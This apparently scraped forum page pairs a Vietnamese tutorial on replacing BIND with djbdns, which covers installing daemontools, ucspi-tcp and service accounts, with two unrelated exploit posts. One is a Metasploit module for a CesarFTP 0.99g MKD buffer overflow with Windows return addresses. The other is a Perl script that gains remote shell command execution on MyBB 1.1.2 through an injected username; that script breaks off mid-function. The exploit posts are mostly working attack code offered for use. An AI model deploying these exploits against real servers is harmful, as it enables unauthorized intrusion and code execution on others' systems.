|
|
Thay thế BIND với djbdns - phần 1
1. Mở đầu
Tài liệu này dành cho những ai muốn dùng djbdns thay thế cho hệ thống BIND hiện dụng vì lý do nào đó. Dù đã rất cố gắng trình bày chi tiết, tài liệu này đòi hỏi người dùng cần có:
- kiến thức UNIX căn bản (có thể dùng các lệnh trên UNIX một cách dễ dàng), và có thể hiểu cú pháp các shell scripts được trích dẫn.
- kiến thức căn bản về DNS, nắm rõ nguyên tắc làm việc giữa các hệ thống phục vụ DNS và các clients.
Hy vọng tài liệu này sẽ hữu dụng cho bạn đọc nhưng không hàm chứa bất cứ bảo đảm nào về khả năng hoạt động hoặc tính hư hại của một hệ thống mà bạn đã thiết lập dựa trên nó (và các tài liệu khác, nếu có). diendantinhoc.net giữ bản quyền của tài liệu này; bạn có thể trích dịch, đăng tải bất cứ nơi đâu miễn sao kèm theo chi tiết nguồn gốc của tài liệu.
2. djbdns và các thành phần của bộ nhu liệu
2.1 djbdns là gì
djbdns là một tổng hợp một nhóm nhu liệu dùng để tạo dịch vụ DNS (tương đương với BIND, nổi tiếng và phổ biến nhất cho DNS). djbdns do Dan Bernstein, người viết qmail, nhu liệu nổi tiếng ổn định và bảo mật cho dịch vụ mail. djbdns được ra đời từ tính thiếu bảo mật và thiếu ổn định của BIND. BIND được ra đời trong lúc Internet còn khai thời và thiếu chú trọng đến vấn đề bảo mật, BIND đã được thay đổi và nâng cấp nhiều lần nhưng vẫn có nhiều hạn chế do nền tảng thiết kế. djbdns, trái lại ngay từ đầu được thiết kế với cách nhìn và định hướng rất khác, rất chú trọng đến bảo mật cũng như hiệu năng của một hệ thống dịch vụ DNS. Dan Bernstein công bố mã nguồn của bộ djbdns và đã treo giải $500 tiền thưởng -1- cho những ai tìm ra được lỗi liên hệ đến bảo mật, cho đến nay vẫn chưa có người chiếm được giải này.
djbdns bao gồm các nhu liệu đảm trách các chức năng đặc thù và riêng biệt với nhau. Đây chính là trọng điểm của gói nhu liệu trên phương diện bảo mật và hiệu năng. Những ai đã dùng qua bộ nhu liệu qmail của Dan Berstein chắc hẳn sẽ nắm ngay triết lý "tách rời" này -2-
2.2 djbdns và các thành phần
Bộ nhu liệu djbdns không chỉ là một nhu liệu và các thư viện như các nhu liệu tương tự khác. Nó bao gồm ba phần chính và ba phần này hoàn toàn tách rời nhau trên bình diện hoạt động và tạo dịch vụ. Sở dĩ djbdns và các cấu thành được giới thiệu trước phần cài đặt và điều chỉnh là vì nó giúp cho bạn đọc dễ dàng hình dung chức năng của từng phần trong bộ djbdns. Qua đó, việc chỉnh định djbdns sẽ dễ dàng và hợp lý hơn.
2.2.1 dnscache
dnscache như cái tên ngầm chỉ định, nó là một "cache" server dùng để trả lời các thỉnh cầu cho dịch vụ name-to-IP và IP-to-name -3- Điều khác biệt của dnscache so với các dạng "cached DNS" khác là dnscache:
- không bao giờ trả lời các thỉnh cầu với tư cách là authoritative DNS (vì nó không phải là authoritative server. Trong bộ djbdns, chỉ có tinydns mới có thể trả lời requests như một authoritative server cho chính domain nó quản lý).
- không bao giờ trả lời các thỉnh cầu với dữ liệu không phải lấy trực tiếp từ authoritative DNS.
Nói một cách khác, dnscache được thiết kế để trả lời các thỉnh cầu (query) từ nội mạng hoặc từ các mạng bạn cho phép họ thỉnh cầu. dnscache tham cứu 13 "root" server rồi theo đó mà tìm ra chính authoritative server để tìm dữ kiện mà client nào đó thỉnh cầu. Ví dụ, máy tôi thuộc mạng 192.168.1.0/24 và tôi muốn tìm IP của host conmeo thuộc domain home.com chẳng hạn (conmeo.home.com), dnscache sẽ thao tác như sau:
- nó xác định máy của tôi thuộc subnet nó chấp nhận trả lời các DNS query, nếu thoả mãn điều kiện này,
- nó hỏi thăm một trong 13 "root" DNS server và lần theo nhánh .com (vì domain home.com thuộc nhánh .com) để đi xuống authoritative DNS server nào đang phục vụ cho domain home.com để thỉnh cầu dữ liệu,
- nó dùng dữ liệu này để trả lời cho máy của tôi
- nó lưu giữ dữ liệu này trong cache; thời gian lưu giữ tùy thuộc vào giá trị TTL được đưa về từ authoritative DNS của domain home.com
- lần sau, nếu có một máy khác (thuộc các subnet nó chấp nhận trả lời) cũng thỉnh cầu conmeo.home.com, dnscache sẽ dùng dữ kiện đã lưu trữ trên cache (nếu dữ kiện này chưa bị quá hạn TTL) để trả lời cho máy này.
Theo đúng tinh thần kỹ thuật thì dnscache là một DNS Resolver (truy giải tên miền / IP và hostname mình không quản lý)
dnscache lắng nghe trên cổng 53 cả UDP và TCP
2.2.2 tinydns
tinydns chính là authoritative DNS của một (hoặc nhiều domain mà bạn làm chủ hoặc quản lý). Nói một cách khác, tinydns chỉ có thể trả lời các thông tin thuộc về các domain mà bạn làm chủ (hoặc quản lý) và nó cũng chỉ có thể trả lời những thông tin mà bạn cho phép nó trả lời. Ví dụ, bạn làm chủ domain abc.com và quản lý domain def.com, tinydns chỉ có thể dùng để trả lời cho các thông tin thuộc về hai domain abc.com và def.com; nó không thể trả lời các thông tin thuộc về domain xyz.com nào đó nếu như bạn không làm chủ domain này hoặc bạn không được quyền quản lý (không thể gán cho tinydns làm authoritative DNS cho domain này).
Vậy, nói tóm lại:
- người dùng trong LAN muốn query một domain name nào đó trên Internet, bạn điều chỉnh cho họ dùng dnscache. Bạn không cho công cộng dùng dnscache của bạn.
- người dùng ngoài Internet muốn query một domain name nào đó do bạn làm chủ hoặc quản lý, bạn cho phép họ query tới tinydns. Bạn cho công cộng query tinydns của bạn.
Theo đúng tinh thần kỹ thuật thì tinydns là một DNS Server (phục vụ tên miền / IP và hostname do mình quản lý)
tinydns chỉ lắng nghe trên cổng 53 UDP.
2.2.3 axfrdns
axfrdns hiện hữu với mục đích hết sức cụ thể là để cho phép các "secondary" DNS servers chạy BIND có thể chuyển dụng "zones" của tinydns của bạn. Giữa các tinydns server, "zone transfer" hết sức đơn giản (qua phương pháp sao chép data file của tinydns bằng phương tiện scp, rsync xuyên qua ssh..). Tuy nhiên, để bảo đảm tính tương thích giữa một "primary" DNS chạy tinydns và một "secondary" DNS chạy BIND thì phải cần đến axfrdns (nếu vì lý do nào đó bạn phải quản lý và bảo trì "secondary" DNS chạy BIND).
axfrdns lắng nghe trên cổng 53 TCP.
2.3 djbdns và các phần tố hỗ trợ
Bộ djbdns cần hai bộ tiện ích daemontools và ucspi-tcp hỗ trợ để hình thành và duy trì hoạt động như một "persistent" daemon -4- vững vàng và bảo mật.
2.3.1 daemontools
Bộ daemontools gồm có bốn chương trình, mỗi chương trình đóng một vai trò khác nhau và hỗ tương cho nhau một cách chặt chẽ.
svscan có trách nhiệm chính yếu là theo dõi các chương trình được chỉnh định dưới daemontools luôn luôn hoạt động. Thông thường svscan theo dõi thư mục /service và dưới mỗi thư mục con thuộc thư mục này là một dịch vụ đang chạy và được theo dõi.
svc đây là công cụ cho phép người dùng tác động trực tiếp đến svscan. svc dùng một loạt lựa chọn (options) để điều khiển tình trạng một dịch vụ nào đó (ví dụ như tắt, mở, tái khởi động, tắt bỏ hoàn toàn...) tương tự như System V init script với các "case" như start), stop), restart).... Sau đây là đoạn giải thích trích dẫn từ trang svc của D. J. Bernstein:
Cách dùng svc như sau:
svc opts services
Trong đó:
- opts là các chọn lựa (xem bên dưới).
- servicesbao gồm một hoặc nhiều tham số và mỗi tham số chỉ định cho một thư mục chứa dịch vụ được supervise theo dõi.
Code:
-u: Up. Nếu một dịch vụ chưa hoạt động, dùng chọn lựa này để khởi động nó. Nếu dịch vụ này bị ngưng, dùng nó để tái khởi động.
-d: Down. Nếu một dịch vụ đang hoạt động, chọn lựa này dùng để gởi đến nó tín hiệu TERM, tiếp theo với tín hiệu CONT. Sau khi dịch vụ đã được ngưng, không tái khởi động nó nữa.
-o: Once. Nếu dịch vụ chưa hoạt động, khởi động dịch vụ nhưng không tái khởi động nữa nếu nó ngưng hoạt động.
-p: Pause. Dùng để gởi tín hiệu STOP đến dịch vụ.
-c: Continue. Dùng để gởi tín hiệu CONT đến dịch vụ.
-h: Hangup. Dùng để gởi tín hiệu HUP đến dịch vụ.
-a: Alarm. Dùng để gởi tín hiệu ALRM đến dịch vụ.
-i: Interrupt. Dùng để gởi tín hiệu INT đến dịch vụ.
-t: Terminate. Dùng để gởi tín hiệu TERM đến dịch vụ.
-k: Kill. Dùng để gởi tín hiệu KILL đến dịch vụ.
-x: Exit. Chọn lựa này sẽ báo cho supervise thoát ra ngay khi dịch vụ được tắt bỏ. Nếu bạn dùng chọn lựa này trên một hệ thống ổn định thì có lẽ có gì không hoàn chỉnh vì supervise được thiết kế để hoạt động không ngừng.
Nếu bạn cần dùng svc để điều tác các dịch vụ được bộ daemontools quản lý thì nên ghi nhớ hoặc in ra trên giấy các options ở trên để tiện xử dụng.
supervise
svscan dùng supervise để theo dõi tình trạng của các daemon. Nếu một trong các daemon bị tắt (die), nó sẽ tái khởi động daemon này. Đây là một đặc tính mà System V init script chính nó không thể làm được mà phải dựa vào một vài tiện ích khác để thực hiện công tác "tái khởi động".
multilog
multilog là một tiện ích tổng quát. Nó được "gắn" vào giai đoạn một daemon nào đó khởi tác. Nó có chức năng đọc dữ kiện xảy ra với daemon từ stdin, có khả năng lọc lựa dữ kiện dựa trên chỉnh định lọc tùy bạn chọn và viết kết quả xuống log files. Điểm đặc biệt của multilog là nó có khả năng tự động đổi log mới dựa trên một quy định nhất định. Quy trình đổi log này hoàn toàn trong suốt (transparent) và không hề gián đoạn hoạt động của một daemon.
Xem thêm chi tiết về daemontools ở: http://cr.yp.to/daemontools.html
2.3.2 ucspi-tcp (dùng bộ tiện ích này nếu bạn cần xử dụng axfrdns)
Bộ ucspi-tcp được Dan Bernstein viết với mục đích thay thế trọn bộ cơ chế inetd (hoặc xinetd gần đây -5-). Bảo mật cao, bền bỉ, cung cấp phương tiện quản lý truy cập và tài nguyên cho các dịch vụ chính là những điểm nổi bật của bộ ucspi-tcp. Bộ ucspi-tcp hoạt động trên giao thức TCP, bao gồm hai phần chính tcpserver và tcpclient và một số tiện ích đặc thù và hữu dụng cho nhiều hoàn cảnh.
tcpserver là một tiện dụng, D. J. Berstein gọi nó là "interface" cho các dịch vụ TCP. Nó có chức năng lắng nghe các truy cập và đằng sau đó, nó kích hoạt một chương trình nào đó (mà bạn chọn) để tạo dịch vụ. tcpserver có hai đặc tính quan trọng:
- có khả năng ấn định số lượng truy cập vào dịch vụ nó tạo thích hợp với tài nguyên của từng cấu hình và từng nhu cầu. Đây là điểm tối quan trọng để bảo đảm tính bền bỉ của dịch vụ và máy chủ tạo dịch vụ.
- có khả năng tạo danh sách quản lý truy cập (ACL) đến dịch vụ tương tự như tcpwrapper nhưng hiệu xuất hơn và bền bỉ hơn.
tcpclient là phần liên tác với tcpserver, như đã hàm chứa với cái tên: tcpserver thuộc server side, tcpclient thuộc client side. tcpclient dùng để tạo kết nối với server. Nếu kết nối thành công, nó chạy chương trình nào đó tùy chọn.
tcprules là cơ chế dùng để ấn định quyền truy cập (rules) đến một dịch vụ. Nó có chức năng đọc rules từ stdin và viết các rules này thành dạng cdb để tcpserver dùng để quyết định quyền truy cập đến dịch vụ. Điểm đặc biệt cần phải nêu lên đó là, cdb là một dạng "hash", có thể được điều chỉnh ngay trong khi tcpserver đang hoạt động.
Xem thêm chi tiết về uscpi-tcp ở http://cr.yp.to/ucspi-tcp.html
3. Tải và cài djbdns
3.1 Tải từ đâu?
Mã nguồn của bộ djbdns có (và nên được tải) từ website của Dan Bernstein http://cr.yp.to/djbdns/) ngoại trừ trường hợp bạn dùng một Linux distribution nào hiện chạy glibc 2.3.1 thì phải tải thêm bản vá ở: http://moni.csi.hu/pub/(vì phiên bản glibc 2.3.1 không tương ứng với nhu liệu do Dan Bernstein viết trong phần khai báo errno).
3.2 Quy trình cài
Trước khi cài bộ djbdns, bạn phải cài và chỉnh lý daemontools và ucspi-tcp trước bởi vì djbdns sẽ không chạy nếu không có hai bộ tiện ích này, ngoại trừ trường hợp bạn muốn dùng System V init script để thay thế. Nếu bạn đã từng cài qmail trên máy trước đây, hẳn đã có sẵn daemontools và ucspi-tcp. Trong trường hợp này, bạn không cần phải cài lại hai bộ tiện ích trên. Nếu không, sau đây là quy trình (theo đúng thứ tự):
3.2.1 Cài daemontools
- tạo thư mục /package:
$ mkdir -p /package
- thay đổi tình trạng chủ quyền của thư mục này:
$ chmod 1755 /package
- chuyển vào trong thư mục vừa được tạo ra:
$ cd /package
- tải gói daemontools-0.76.tar.gz về trong thư mục /package đã tạo ở trên (ở đây tôi chọn wget làm công cụ tải mã nguồn về, bạn có thể chọn công cụ nào khác tùy thích):
$ wget http://cr.yp.to/daemontools/daemontools-0.76.tar.gz
- xả nén gói mã nguồn:
$ gunzip -dc daemontools-0.76.tar.gz | tar xvf -
* Nếu bạn dùng Linux distribution nào hiện chạy glibc 2.3.1, bạn cần tải bản vá daemontools cho vấn đề tương thích của glibc:
$ wget http://moni.csi.hu/pub/glibc-2.3.1/daemontools-0.76.errno.patch
- chuyển vào thư mục chứa mã nguồn của daemontools (sau khi được xả):
$ cd ./admin/daemontools-0.76
- vá daemontools nếu dùng Linux distribution nào hiện chạy glibc 2.3.1:
$ patch -p1 < ../../daemontools-0.76.errno.patch
- nếu gặp error, bạn nên điều tra kỹ xem error do đâu mà ra. Không nên tiếp tục bước kế tiếp không thì biên dịch sẽ không thành công. Hầu hết phần vá này không tạo error ngoại trừ bạn thư mục chứa bản vá và bản nguồn được vá không đúng cấu trúc như trên. Nếu bạn không gặp error nào thì daemontools đã được vá thành công, sau khi chuyển thành root bạn tiếp tục chạy lệnh:
# package/install
Đến đây, daemontools đã được biên dịch và cài thành công. Để xác thực daemontools đã hoạt động, bạn có thể chạy lệnh sau:
$ ps -ef | grep svscan để xem có kết quả trả về tường trình svscan đang hoạt động trên hệ thống hay không.
Sau khi daemontools được cài thành công, chương trình svscanboot thuộc bộ công cụ daemontools được đưa vào /etc/inittab với mục đích 'respawn' (tái sinh) nếu vì lý do nào đó svscan bị chết (die). Bạn có thể kiểm tra sự hiện diện của giá trị này trong /etc/inittab bằng lệnh:
# grep svscanboot /etc/inittab nó sẽ trả về giá trị:
Code:
SV:123456:respawn:/command/svscanboot.
Giá trị này có nghĩa svscanboot sẽ "tái sinh" trong các run level 1, 2, 3, 4, 5, 6; ấn định svscan hoạt động không ngừng ở bất cứ run level nào.
3.2.2 Cài ucspi-tcp
Bạn cần bộ tiện ích này nếu cần dùng axfrdns. Nếu bạn không có dự định tạo dịch vụ cho zones transfer giữa tinydns của bạn và một "secondary" DNS nào khác chạy BIND thì không phải quan tâm đến phần này. Ngoài ra,
- chuyển vào thư mục nào đó thích nghi để chứa nguồn. Tôi dùng /usr/local/src/
$ cd /usr/local/src
- tải ucspi-tcp về máy:
$ wget http://cr.yp.to/ucspi-tcp/ucspi-tcp-0.88.tar.gz
* Nếu bạn dùng Linux distribution nào hiện chạy glibc 2.3.1, bạn cần tải bản vá ucspi-tcp cho vấn đề tương thích của glibc:
$ wget http://moni.csi.hu/pub/glibc-2.3.1/ucspi-tcp-0.88.errno.patch
- xả nén gói mã nguồn:
$ gunzip -dc ucspi-tcp-0.88.tar.gz | tar xvf -
- chuyển vào thư mục chứa mã nguồn ucspi-tcp đã được xả:
$ cd ucspi-tcp-0.88
- vá nếu cần thiết:
$ patch -p1 < ../ucspi-tcp-0.88.errno.patch
- biên dịch chương trình ucspi-tcp:
$ make
- chuyển thành root và cài chương trình ucspi-tcp (theo mặc định ở /usr/local):
# make setup check
3.2.3 Cài djbdns
- chuyển vào thư mục nào đó thích nghi để chứa nguồn. Tôi dùng /usr/local/src/
cd /usr/local/src
- tải gói djbdns về máy:
$ wget http://cr.yp.to/djbdns/djbdns-1.05.tar.gz
* Nếu bạn dùng Linux distribution nào hiện chạy glibc 2.3.1, bạn cần tải bản vá djbdns cho vấn đề tương thích của glibc:
$ wget http://moni.csi.hu/pub/glibc-2.3.1/djbdns-1.05.errno.patch
- xả nén gói mã nguồn:
$ gunzip -dc djbdns-1.05.tar.gz | tar xvf -
- chuyển vào thư mục chứa mã nguồn djbdns đã được xả:
$ cd djbdns-1.05
- vá nếu cần thiết:
$ patch -p1 < ../djbdns-1.05.errno.patch
- biên dịch chương trình djbdns:
$ make
- chuyển thành root và cài chương trình djbdns (theo mặc định ở /usr/local):
# make setup check
4. Thiết lập
4.1 Tạo tài khoản cần thiết cho bộ djbdns
Việc tạo các tài khoản dành cho mỗi dịch vụ trong bộ djbdns là điều cần thiết để cho phép chúng hoạt động một cách an toàn. Thay vì dùng root để chạy các dịch vụ này, bạn cần gán cho mỗi dịch vụ một tài khoản hạn chế chủ quyền.
- chuyển qua chế độ su và thêm nhóm (group) mới:
# groupadd dnsgroup (đặt tên cho group này là gì tùy bạn. "dnsgroup" ở đây chỉ là một ví dụ)
- thêm các tài khoản cần thiết cho bộ djbdns:
# useradd -g dnsgroup -d /dev/null -s /bin/true dnscache
# useradd -g dnsgroup -d /dev/null -s /bin/true tinydns
# useradd -g dnsgroup -d /dev/null -s /bin/true dnslog
Ba dòng trên thiết lập tài khoản cho ba tài khoản dnscache (sẽ dùng cho dnscache), tinydns (sẽ dùng cho dnscache) và dnslog (sẽ dùng cho dnslog). Bạn có thể đặt tên cho các tài khoản này thế nào tùy ý nhưng mỗi dịch vụ trong bộ djbdns sẽ dùng một tài khoản khác nhau. Điểm cần nêu lên ở đây là:
- các tài khoản được gán $HOME (-d) là /dev/null thay vì một thư mục thật nào đó, điều này có nghĩa các tài khoản này không có $HOME như các người dùng bình thường.
- các tài khoản được gán shell (-s) là /bin/true thì vì một shell thật nào đó, điều này có nghĩa các tài khoản này không có shell như các người dùng bình thường. /bin/true chỉ là một lệnh không làm gì hết, vô hại, vô tác dụng -6-.
Tại sao cần phải gán quyền cho các tài khoản trên khắt khe như vậy? Lý do: các dịch vụ này cần được hoạt động dưới các tài khoản nào đó nhưng không phải là root vì nếu (chỉ nếu) một trong những dịch vụ này bị nhân nhượng, tài khoản bị chiếm đoạt không thể làm gì để có thể tác hại đến hệ thống vì chúng không có $HOME và shell là phương tiện phổ biến để gia tăng chủ quyền. Các dịch vụ thuộc bộ djbdns được root khởi tạo trong quá trình hệ thống khởi động và chủ quyền được hạ từ root xuống tài khoản đã quy định (chúng ta đã tạo ở trên).
Còn tiếp
<hnd - vninformatics.com - diendantinhoc.net - 10/2004>
Ghi chú:
-1- The djbdns security guarantee của Dan Bernstein ở: http://cr.yp.to/djbdns/guarantee.html. Giải thưởng $500 này đã gây nên khá nhiều bàn cãi giữa các nhóm bảo mật khi djbdns được công bố. Vấn đề Bernstein đưa ra giải thưởng này không nằm ở tính vật chất của giải thưởng mà ông ta chỉ dùng nó như một phương tiện chứng minh mức vững vàng của djbdns trên bình diện bảo mật.
-2- Tôi đã hoàn tất tài liệu "Qmail as a mail gateway" và đã đăng trên website http://www.diendantinhoc.net. Nếu thích, bạn có thể tham khảo để đối chiếu đến tính "tách rời" của qmail và djbdns.
-3- name-to-ip và ip-to-name: như đã nêu ra trong phần mở đầu, bạn đọc cần có kiến thức căn bản về cơ chế hoạt động của DNS. Authoritative DNS là name server có thẩm quyền trả lời các thỉnh cầu về tên của một domain và các host trong domain này ở cấp độ chủ quyền. Xem thêm trang http://en.wikipedia.org/wiki/DNS để tham khảo "authoritative DNS".
Cần nói thêm,
Với tư cách là client, "Domain Name request" hoặc "HostName request" có thể xảy ra trực tiếp hoặc gián tiếp:
- trực tiếp: ví dụ như dùng nslookup để request IP của conmeo.myhome.org, trong đó domain name là myhome.org và hostname là conmeo. Hay nói một cách khác, request conmeo.myhome.org có nghĩa là cần giải danh (từ tên thành IP) hostname conmeo thuộc domain name myhome.org dựa trên cấu trúc dịch vụ DNS có sẵn cho client ấy.
- gián tiếp: ví dụ như dùng trình duyệt và gõ vào địa chỉ URL để truy cập trang web http://conmeo.myhome.org thì trình duyệt sẽ lo phần giải danh từ tên thành IP để bạn có thể truy cập trang web mà bạn không cần phải biết đến IP của nó là gì.
Với tư cách là server, thông thường server có thể trả lời các "DomainName request" hoặc "hostname request" của clients ở hai tư cách:
- authoritative (có thẩm quyền): server này làm chủ hoặc quản lý domain name / hostname được request. Nó xác thực hostname conmeo thuộc domain name myhome.org và có IP là 123.123.123.123 chẳng hạn và không ở nơi nào khác.
- non-authoritative (không thẩm quyền): server này không thể xác nhận hostname conmeo thuộc domain name myhome.org và có IP là 123.123.123.123 với request đầu tiên. Nó phải đi xuyên qua các root servers và được chỉ dẫn về server nào đó thuộc nhánh .org để tiếp tục đi tìm cho đến khi bắt được máy chủ có thẩm quyền trả lời các thông tin cần hỏi. Thông tin này có thể được lưu giữ (cache) để lần kế tiếp client request, server không cần phải đi một vòng lớn để tìm thông tin nữa mà có thể trả lời ngay cho client với thông tin có trong cache. Vấn đề các non-authoritative server bị nhiễm độc cache (cache poisioned) vị bị trỏ đến một authoritative server để lấy thông tin không đúng là vấn đề nằm ngoài giới hạn bài viết này.
-4- "persistent" daemon: tôi tránh không dịch sang thuật ngữ tương đồng của tiếng Việt vì có lẽ không có cụm từ tương đương đủ hàm chứa tinh thần "bền bỉ" này. "persistent daemon" ở đây chỉ cho tính bền bỉ của dịch vụ được daemontools quản lý. supervise của gói daemontools theo dõi daemon được nó quản lý và tái khởi động các daemon này nếu chúng bị "chết" vì lý do nào đó. Đây là tính bền bỉ cao độ của các daemon được supervise quản lý (nếu so sánh với inetd hoặc xinetd).
-5- xinetd đã được cải thiện rất nhiều so với inetd và nó có những chức năng gần như tương tự với tcpserver trong bộ ucspi-tcp.
-6- Nếu bạn "paranoid" hơn nữa, bạn có thể tạo "shell" cho các tài khoản trên bằng cách gán /dev/null (-s /dev/null) cho shell vì device /dev/null không phải là một binary và bởi thế, bạn có thể loại trừ trường hợp /bin/true hoặc /bin/false (hoặc bất cứ một binary nào) bạn đùng để tạo shell cho các tài khoản này bị "vướng" vào trường hợp binary có suid (có thể dùng để gia tăng chủ quyền). Nếu bạn không rõ lắm những điểm trên thì cứ nên gán -s /dev/null cho các tài khoản dùng với djbdns và dành thời gian (khi rảnh rỗi) để nghiên cứu thêm về suid. Tôi dùng /bin/true vì tôi biết chắc binary true trên máy tôi không có suid.
cập nhật:
20/10/2004 - chỉnh lỗi chính tả, chỉnh một số tag hiển thị sai và "beautified" các foot-notes
25/10/2004 - thêm chi tiết svscanboot entry trong /etc/inittab ở phần 3.2.1
04/11/2004 - chỉnh thêm một số tag hiển thị sai
|
|
|
http://www.aclogic.com/ CesarFTP is an easy-to-use and fast to configure FTP server.
A buffer overflow in CesarFTP allows a remote attacker to execute arbitrary code on the vulnerable system.
Vulnerable Systems: CesarFTP version 0.99g
Exploit:
Code:
##
#---ORIGINAL CREDITS TO h07 FOR FINDING THIS VULN---
# Ported to metasploit by c0rrupt
# ~ f34r.us ~
##
package Msf::Exploit::cesarftp_mkd;
use base "Msf::Exploit";
use strict;
use Pex::Text;
my $advanced = { };
my $info =
{
'Name' => 'CesarFTP 0.99g Buffer Overflow',
'Version' => '$Revision: 1.3 $',
'Authors' => [ 'c0rrupt [at] f34r [dot] us', ],
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'win2000', 'winxp' ],
'Priv' => 0,
'AutoOpts' => { 'EXITFUNC' => 'seh' },
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 21],
'USER' => [1, 'USER', 'Login name'],
'PASS' => [1, 'PASS', 'Password'],
},
'Payload' =>
{
'Space' => 325,
'BadChars' =>
"\x00\x09\x0a\x0d\x22\x25\x26\x27\x2f\x3a\x3e\x3f\xFF\x5c",
},
'Description' => Pex::Text::Freeform(qq{
This module exploits the buffer overflow found in the MKD command
in CesarFTP 0.99g. It is required that the user be properly logged
in
before the exploit can be peformed.
}),
'Refs' =>
[
['URL', 'http://www.milw0rm.com/exploits/1906']
],
'DefaultTarget' => 0,
'Targets' =>
[
['Windows XP SP2 English', 0x7746F114 ], #
comctl32
['Windows XP SP0/SP1 English', 0x776606af ],
['Windows 2003 server sp0/xp sp1 English',
0x77798428 ],
['Windows 2003 server SP1 English', 0x7caa9618 ],
['Windows 2000 SP4 English', 0x78344dd3 ],
],
'Keys' => ['ceasarftp'],
'DisclosureDate' => 'June 12 2006',
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' =>
$advanced}, @_);
return($self);
}
sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];
my $user = $self->GetVar('USER');
my $pass = $self->GetVar('PASS');
my $buf = "MKD " . "\n"x671 . "A"x3 . pack('V', $target->[1]) .
$shellcode . "\x0d\x0a";
#pack('V', $target->[1])
#"\x23\x79\xAB\x71"
$self->PrintLine(sprintf("[*] Trying to exploit target %s ", $target->[0],
));
my $sock = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
);
if ($sock->IsError) {
$self->PrintLine('[*] Error creating socket: ' .
$sock->GetError);
return;
}
my $r = $sock->Recv(-1, 20);
if (! $r) { $self->PrintLine("[*] No response from FTP server");
return; }
$self->PrintLine(sprintf("[*] Sending login credentials"));
$sock->Send("USER $user" . "\x0d\x0a");
sleep(1);
$sock->Send("PASS $pass" . "\x0d\x0a");
sleep(1);
$self->PrintLine(sprintf("[*] Sending evil request"));
$sock->Send($buf);
$self->PrintLine(sprintf("[*] Exploit complete"));
return;
}
|
|
|
http://www.mybboard.com/ MyBB is a powerful, efficient and free forum package developed in PHP and MySQL.
Improper user validation allows attackers to execute PHP code in myBB.
Vulnerable Systems: MyBB version 1.1.2
Exploit:
Code:
#!/usr/bin/perl
# Tue Jun 13 12:37:12 CEST 2006 <a href="mailto:jolascoaga@514.es">jolascoaga@514.es</a>
#
# Exploit HOWTO - read this before flood my Inbox you bitch!
#
# - First you need to create the special user to do this use:
# ./mybibi.pl --host=http://www.example.com --dir=/mybb -1
# this step needs a graphic confirmation so the exploit writes a file
# in /tmp/file.png, you need to
# see this img and put the text into the prompt. If everything is ok,
# you'll have a new valid user created.
# * There is a file mybibi_out.html where the exploit writes the output
# for debugging.
# - After you have created the exploit or if you have a valid non common
# user, you can execute shell commands.
#
# TIPS:
# * Sometimes you have to change the thread Id, --tid is your friend ;)
# * Don't forget to change the email. You MUST activate the account.
# * Mejor karate aun dentro ti.
#
# LIMITATIONS:
# * If the admin have the username lenght < 28 this exploit doesn't works
#
# Greetz to !dSR ppl and unsec
#
# 514 still r0xing!
# user config.
my $uservar = "C"; # don't use large vars.
my $password = "514r0x";
my $email = "514\@mailinator.com";
use LWP::UserAgent;
use HTTP::Cookies;
use LWP::Simple;
use HTTP::Request::Common "POST";
use HTTP::Response;
use Getopt::Long;
use strict;
$| = 1; # you can choose this or another one.
my ($proxy,$proxy_user,$proxy_pass, $username);
my ($host,$debug,$dir, $command, $del, $first_time, $tid);
my ($logged, $tid) = (0, 2);
$username = "'.system(getenv(HTTP_".$uservar.")).'";
my $options = GetOptions (
'host=s' => \$host,
'dir=s' => \$dir,
'proxy=s' => \$proxy,
'proxy_user=s' => \$proxy_user,
'proxy_pass=s' => \$proxy_pass,
'debug' => \$debug,
'1' => \$first_time,
'tid=s' => \$tid,
'delete' => \$del);
&help unless ($host); # please don't try this at home.
$dir = "/" unless($dir);
print "$host - $dir\n";
if ($host !~ /^http/) {
$host = "http://".$host;
}
LWP::Debug::level('+') if $debug;
my ($res, $req);
my $ua = new LWP::UserAgent(
cookie_jar=> { file => "$$.cookie" });
$ua->agent("Mothilla/5.0 (THIS IS AN EXPLOIT. IDS, PLZ, Gr4b ME!!!");
$ua->proxy(['http'] => $proxy) if $proxy;
$req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;
create_user() if $first_time;
while () {
login() if !$logged;
print "mybibi> "; # lost connection
while(<STDIN>) {
$command=$_;
chomp($command);
last;
}
&send($command);
}
sub send {
chomp (my $cmd = shift);
my $h = $host.$dir."/newthread.php";
my $req = POST $h, [
'subject' => '514',
'message' => '/slap 514',
'previewpost' => 'Preview Post',
'action' => 'do_newthread',
'fid' => $tid,
'posthash' => 'e0561b22fe5fdf3526eabdbddb221caa'
];
$req->header($uservar => $cmd);
print $req->as_string() if $debug;
my $res = $ua->request($req);
if ($res->content =~ /You may not post in this/) {
print "[!] don't have perms to post. Change the Forum ID\n";
} else {
my ($data) = $res->content =~ m/(.*?)\<\!DOCT/is;
print $data;
}
}
sub login {
my $h = $host.$dir."/member.php";
my $req = POST $h,[
'username' => $username,
'password' => $password,
'submit' => 'Login',
'action' => 'do_login'
];
my $res = $ua->request($req);
if ($res->content =~ /You have successfully been logged/is) {
print "[*] Login succesful!\n";
$logged = 1;
} else {
print "[!] Error login-in\n";
}
}
sub help {
print "Syntax: ./$0 --host=url --dir=/mybb [options] -1 --tid=2\n";
print "\t--proxy (http), --proxy_user, --proxy_pass\n";
print "\t--debug\n";
print "the default directory is /\n";
print "\nExample\n";
print "bash# $0 --host=http(s)://www.server.com/\n";
print "\n";
exit(1);
}
sub create_user {
# firs we need to get the img.
my $h = $host.$dir."/member.php";
print "Host: $h\n";
$req = HTTP::Request->new (GET => $h."?action=register");
$res = $ua->request ($req);
my $req = POST $h, [
'action' => "register",
'agree' => "I Agree"
];
print $req->as_string() if $debug;
$res = $ua->request($req);
my $content = $res->content();
$content =~ m/.*(image\.php\?action.*?)\".*/is;
my $img = $1;
my $req = HTTP::Request->new (GET => $host.$dir."/".$img);
$res = $ua->request ($req);
print $req->as_string();
if ($res->content) {
open (TMP, ">/tmp/file.png") or die($!);
print TMP $res->content;
close (TMP);
